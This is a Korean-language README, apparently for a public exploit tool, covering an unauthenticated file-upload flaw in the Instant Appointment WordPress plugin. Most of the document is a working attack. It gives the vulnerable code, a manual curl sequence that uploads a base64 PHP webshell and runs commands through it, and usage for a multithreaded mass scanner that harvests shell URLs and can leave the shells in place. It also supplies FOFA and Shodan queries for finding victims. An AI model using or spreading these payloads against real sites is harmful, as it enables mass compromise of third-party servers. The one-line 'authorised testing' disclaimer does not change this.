개요

CVE-2026-15282는 Instant Appointment WordPress 플러그인(≤ 1.2)의 치명적인(CVSS 9.8) 인증되지 않은 임의 파일 업로드 취약점입니다.

add_service_front AJAX 액션은 인증되지 않은 접근을 위해 wp_ajax_nopriv_를 통해 등록됩니다. 핸들러는 사용자가 제공한 image_url과 image_name을 파일 유형이나 확장자 검증 없이 file_get_contents()와 file_put_contents()에 직접 전달합니다.

영향을 받는 버전

버전	상태
≤ 1.2	취약
> 1.2	패치 없음 — 플러그인 제거

취약점 메커니즘

근본 원인

// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
    $image_data = file_get_contents($image_url);       // downloads from ANY URL
    $file = $upload_dir['path'] . '/' . $file_name;    // uses attacker's filename
    file_put_contents($file, $image_data);             // no extension check!
}

AJAX 핸들러는 모든 image_url(data:// URI 포함)을 허용하고 어떤 image_name이든 WordPress 업로드 디렉터리에 직접 씁니다.

공격 흐름

POST /wp-admin/admin-ajax.php?action=add_service_front
  image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
  image_name=think_xxx.php
→ PHP webshell written to wp-content/uploads/YYYY/MM/think_xxx.php
→ RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id

설치

git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt

사용법

python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup

인수

  -t, --target      단일 대상
  -f, --file        대상 목록 파일
  -o, --output      RCE URL을 파일에 저장
  --threads         작업자 수 (기본값: 25)
  --no-cleanup      대상에 셸 남기기
  --debug           모든 요청 표시
  -v, --verbose     자세한 출력

개념 증명

단일 대상

$ python cve_2026_15282.py -t target.com

  ⠋ Scanning target...  →  OK Scanning target...

  Host       : target.com
  Plugin     : YES
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
  Output     : uid=33(www-data) gid=33(www-data)

대량 스캔

  [.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1
  [RCE] target.com   https://target.com/wp-content/uploads/2026/07/think_xxx.php

수동 익스플로잇

# 1. Create base64-encoded PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0

# 2. Upload via AJAX
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=add_service_front' \
  -d 'service_name=test' \
  -d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
  -d 'image_name=shell.php' \
  -d 'image_size=100' \
  -d 'image_type=image/jpeg' \
  -d 'service_price_sale=1' \
  -d 'service_price_reg=1' \
  -d 'service_category[]=1' \
  -d 'service_duration=60' \
  -d 'service_author=1'

# 3. Access shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'

FOFA / Shodan

FOFA:   body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"

면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오.

참고 자료

자료	링크
WPScan

_{tenteeglobal 또는 Instant Appointment와 관련이 없습니다.}

CVE-2026-15282

인기

CVE-2026-15282 — Instant Appointment 대규모 RCE 익스플로잇

인증 없이 file_get_contents() + file_put_contents() → PHP 웹쉘

개요